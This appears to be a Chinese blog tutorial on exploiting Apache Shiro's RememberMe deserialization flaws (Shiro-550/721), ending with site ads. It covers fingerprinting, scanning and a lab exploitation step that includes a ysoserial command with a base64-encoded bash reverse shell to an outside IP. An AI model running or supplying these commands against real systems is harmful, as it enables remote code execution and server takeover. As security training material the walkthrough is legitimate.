反序列化漏洞-Apache Shiro
Apache Shiro
一、shiro的相关介绍
1、Shiro概述
Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权和会话管理等功能。Shiro框架直观、易用,同时也能提供更健壮的安全性。
2、Shiro历史漏洞(Shiro-550)
Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对RememberMe的Cookie值,先进行base64解码然后AES序列化,就导致了反序列化RCE漏洞。
3、Shiro历史漏洞(Shiro-721)
由于Apache Shiro Cookie中通过AES-128-CBC模式加密的RememberMe字段存在问题,用户可以通过Padding Oracle加密生成的攻击代码来构造恶意的RememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
二、shiro的识别与发现
1、Shiro组件的识别
登录网站,输入身份信息,点击RememberMe之后,使用bp进行数据抓包,重定向到Repeater页面,发现Request页面里面的Set-Cookie:rememberMe=deleteMe,说明使用了Shiro组件。
2、Shiro漏洞检测(dnslog)
使用ShiroScan检测URL地址,查看是否有漏洞,将分析结构展示在dnslog/ceye平台。
三、Shiro漏洞利用
1、Shiro-550的利用(反弹shell)
使用nc监听一个端口,JavaRuntime配合bash编码(可以将管道符进行base64编码),在线编码地址: Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
通过ysoserial中JRMP监听模块,监听一个端口并执行反弹shell命令。java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "要执行的命令"。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuOS4xOTguMzAvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"
使用命令生成我们自己主机的cookie,然后复制到Shiro组件的请求体的Cookie那一块。
python shiro-cookie.py 192.168.130.137:1099
最后在本地监听1234端口,就拿到了靶机的权限了。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· AI与.NET技术实操系列(六):基于图像分类模型对图像进行分类